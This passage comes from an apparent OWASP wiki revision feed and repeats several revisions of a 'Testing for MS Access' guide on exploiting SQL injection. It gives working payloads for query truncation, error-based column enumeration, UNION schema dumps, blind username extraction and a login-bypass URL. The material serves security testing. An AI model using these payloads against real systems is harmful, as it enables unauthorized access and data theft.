that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36699</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36699"/>
				<updated>2008-08-20T13:57:56Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top&lt;br /&gt;
%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36698</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36698"/>
				<updated>2008-08-20T13:57:09Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1) return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36697</id>
		<title>Testing for MS Access</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MS_Access&amp;diff=36697"/>
				<updated>2008-08-20T13:55:36Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Short Description of the Issue == &lt;br /&gt;
In this paragraph we describe how to exploit sql injection vulnerabilties when the&lt;br /&gt;
backend database is MS Access. In particular we focus on how to exploit blind sql injection&lt;br /&gt;
as this kind of vulnerabilities are more frequent.&lt;br /&gt;
After an initial introduction on which are the typical functions &lt;br /&gt;
that are useful to exploit a sql injection vulnerability, &lt;br /&gt;
we will introduce a clever  methodology to exploit blind sql injection.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Standard Test ===&lt;br /&gt;
First of all, we start showing a typical example of SQL error that we can encounter when&lt;br /&gt;
we execute our test:&lt;br /&gt;
&lt;br /&gt;
 Fatal error: Uncaught exception 'com_exception' with message '&amp;lt;b&amp;gt;Source:&amp;lt;/b&amp;gt; Microsoft JET Database Engine&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;Description:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If we get this error then it's reasonable to think that we are testing an application with a MS Access Database as backend.&lt;br /&gt;
&lt;br /&gt;
We have to say that, unfortunately, we start soon with a bad news since MS Access doesn't support any comment character in the sql query,&lt;br /&gt;
so we can't use the trick of inserting the chars /* or -- or # to truncate the query. On the other hand, we can fortunately  bypass this limit with the NULL character. If we insert the char %00 at some place in &lt;br /&gt;
the query, all the remaining characters after the NULL are not considerated. That happens&lt;br /&gt;
because at the low level the strings are considerated terminated with the NULL char.&lt;br /&gt;
However the NULL character can sometimes cause troubles. If we try every char in the ASCII&lt;br /&gt;
charset we notice that there is another value that can be used in order to truncate the query.&lt;br /&gt;
The character is 0x16 (%16 in url encoded format) or 22 in decimal. So if we have the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'&lt;br /&gt;
&lt;br /&gt;
we can truncate the query with the following two urls:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%00&amp;amp;pass=foo&lt;br /&gt;
 http://www.example.com/index.php?user=admin'%16&amp;amp;pass=foo&lt;br /&gt;
&lt;br /&gt;
==== Attributes enumeration ====&lt;br /&gt;
In order to enumerate the attributes of a query we can use the same method used for the Database&lt;br /&gt;
MS SQL Server. In short, we can obtain the name of the attributes by error messages. For example&lt;br /&gt;
if we know the existence of a parameter because we got it by an error message due to the&lt;br /&gt;
' character, we can also know the name of the remaining attributes with the following query:&lt;br /&gt;
&lt;br /&gt;
 ' GROUP BY Id%00&lt;br /&gt;
&lt;br /&gt;
in the error message we can notice that the name of the next attribute is shown. We iterate the&lt;br /&gt;
method until we obtain the name of all the attributes. If we don't know the name of at least&lt;br /&gt;
one attribute, we can insert a fictitious column name, and just like by magic we obtain the name of&lt;br /&gt;
the first attribute.&lt;br /&gt;
&lt;br /&gt;
==== Obtaining Database Scheme ====&lt;br /&gt;
In MS Access exist various table that can be used to obtain the name of the table of a&lt;br /&gt;
particular database. In the default configuration this table is not accessible, however it's&lt;br /&gt;
worth a try. The names of the table are:&lt;br /&gt;
&lt;br /&gt;
# MSysObjects&lt;br /&gt;
# MSysACEs&lt;br /&gt;
# MSysAccessXML&lt;br /&gt;
&lt;br /&gt;
For example if a union sql injection vulnerability exists, you can use the following query:&lt;br /&gt;
&lt;br /&gt;
 ' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00&lt;br /&gt;
&lt;br /&gt;
These are the main steps that you can use to exploit a sql injection vulnerability on &lt;br /&gt;
MS Access. There are also some functions that can be useful to exploit custom &lt;br /&gt;
queries. Some of these functions are:&lt;br /&gt;
&lt;br /&gt;
# ASC: Obtain the ascii value of a character passed as input&lt;br /&gt;
# CHR: Obtain the character of the ascii value passed as input&lt;br /&gt;
# LEN: Return the length of the string passed as parameter&lt;br /&gt;
# IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'&lt;br /&gt;
# MID: This function permits to extract substring, for example the following statement mid('abc',1,1)&lt;br /&gt;
return 'a'&lt;br /&gt;
# TOP: This function permits to specify the maximum number of results that the query should return from the top. For example&lt;br /&gt;
# TOP 1 will return only 1 row.&lt;br /&gt;
# LAST: This function is used to select only the last row of a set of rows. For example the following query&lt;br /&gt;
SELECT last(*) FROM users will return only the last row of the result.&lt;br /&gt;
&lt;br /&gt;
Some of these functions will be used to exploit a blind sql injection as we see in the next&lt;br /&gt;
paragraph. For other functions please refer to References.&lt;br /&gt;
&lt;br /&gt;
=== Blind sql injection testing ===&lt;br /&gt;
Blind sql injection vulnerabilities are by no mean the most frequent type of vulnerability&lt;br /&gt;
that you will find. Generally you find a sql injection in a parameter where no union &lt;br /&gt;
query is possible. Also, usually there is no chance to execute shell command or to read/write&lt;br /&gt;
a file. All you can do is infer the result of your query. For our test we take the&lt;br /&gt;
following example:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?myId=[sql]&lt;br /&gt;
&lt;br /&gt;
where the id parameter is used in the following query:&lt;br /&gt;
&lt;br /&gt;
 SELECT * FROM orders WHERE [id]=$myId&lt;br /&gt;
&lt;br /&gt;
For our test we will consider the myId parameter vulnerable to blind sqli vulnerability.&lt;br /&gt;
We want to extract the content of the table users, in particular of the column&lt;br /&gt;
username (we have already seen how to obtain the name of the attributes thanks&lt;br /&gt;
to the error messages and other tecniques). It is supposed that the reader alreday knowns the theory behind&lt;br /&gt;
the blind sql injection attack, so we go straight to show some example. A typical query that&lt;br /&gt;
can be used to infer the first character of the username of the 10th rows is:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a',0,'ko') &lt;br /&gt;
&lt;br /&gt;
If the first character is 'a', this query will return a 0 (a &amp;quot;true response&amp;quot;), otherwise a&lt;br /&gt;
'ko' string. Now we will explain why we have used this particular query.&lt;br /&gt;
The first thing to point out is that with the functions IFF, MID and LAST we extract the first&lt;br /&gt;
character of the username of the selected row. Unfortunately, the original query returns a set of records&lt;br /&gt;
and not only one record, so we can't use this methodology directly. We must first select only one row.&lt;br /&gt;
We can use the TOP function, but it only works with the first row. To select the other&lt;br /&gt;
queries we must use a trick. We want to infer the username of the row number 10.&lt;br /&gt;
First we use the TOP function to select the first ten rows with the query:&lt;br /&gt;
&lt;br /&gt;
 SELECT TOP 10 username FROM users&lt;br /&gt;
&lt;br /&gt;
Then we extract from this set the last row with the function LAST. Once we have only one row and &lt;br /&gt;
exactly the row that we want, we can use the IFF, MID and LAST function to infer the value&lt;br /&gt;
of the username.&lt;br /&gt;
It may be interesting to notice the use of the IFF. In our example we use IFF to return a number or a string.&lt;br /&gt;
With &lt;br /&gt;
this trick we can distinguish when we have a true response or not. This is because id is of numeric type,&lt;br /&gt;
so if we compare it with a string we obtain a sql error, otherwise with the 0 value we have&lt;br /&gt;
no errors. Of course if the parameter was of type string we can use different values. For example&lt;br /&gt;
we can have the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?id=inexistenValueHere'%20or%20'a'=IIF((select%20mid(last(username),1,1)%20from%20(select%20top%2010%20username%20from%20users))='a','a','b')%00&lt;br /&gt;
&lt;br /&gt;
that returns a query that is always true if the first character is 'a' or a query that is always false in the other case (assuming that in the users table there is no id with value 'inexistenValueHere')&lt;br /&gt;
&lt;br /&gt;
Thanks to this metodology we can infer the value of the username. To understand when we have &lt;br /&gt;
obtained the complete value we have two choices:&lt;br /&gt;
&lt;br /&gt;
# We try all the printable values, when no one is valid then we have the complete value.&lt;br /&gt;
# We can infer the length of the value (if it's a string value we can use the LEN function) and stop when we have found all the characters.&lt;br /&gt;
&lt;br /&gt;
== Tricks ==&lt;br /&gt;
Sometimes we are blocked by some filtering function, here we see some tricks to bypass these filters.&lt;br /&gt;
&lt;br /&gt;
=== Alternative Delimiter ===&lt;br /&gt;
Some filter strips away the space from the input string. We can bypass this filter using&lt;br /&gt;
the following values as delimiter instead of the white space:&lt;br /&gt;
&lt;br /&gt;
'''&lt;br /&gt;
9&lt;br /&gt;
a&lt;br /&gt;
c&lt;br /&gt;
d&lt;br /&gt;
20&lt;br /&gt;
2b&lt;br /&gt;
2d&lt;br /&gt;
3d&lt;br /&gt;
'''&lt;br /&gt;
&lt;br /&gt;
For example we can execute the following query:&lt;br /&gt;
&lt;br /&gt;
 http://www.example.com/index.php?username=foo%27%09or%09%271%27%09=%09%271&lt;br /&gt;
&lt;br /&gt;
to bypass a hypothetical login form.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* http://www.techonthenet.com/access/functions/index_alpha.php&lt;br /&gt;
* http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-IT.html&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v3_Table_of_Contents&amp;diff=36696</id>
		<title>OWASP Testing Guide v3 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v3_Table_of_Contents&amp;diff=36696"/>
				<updated>2008-08-20T13:54:05Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
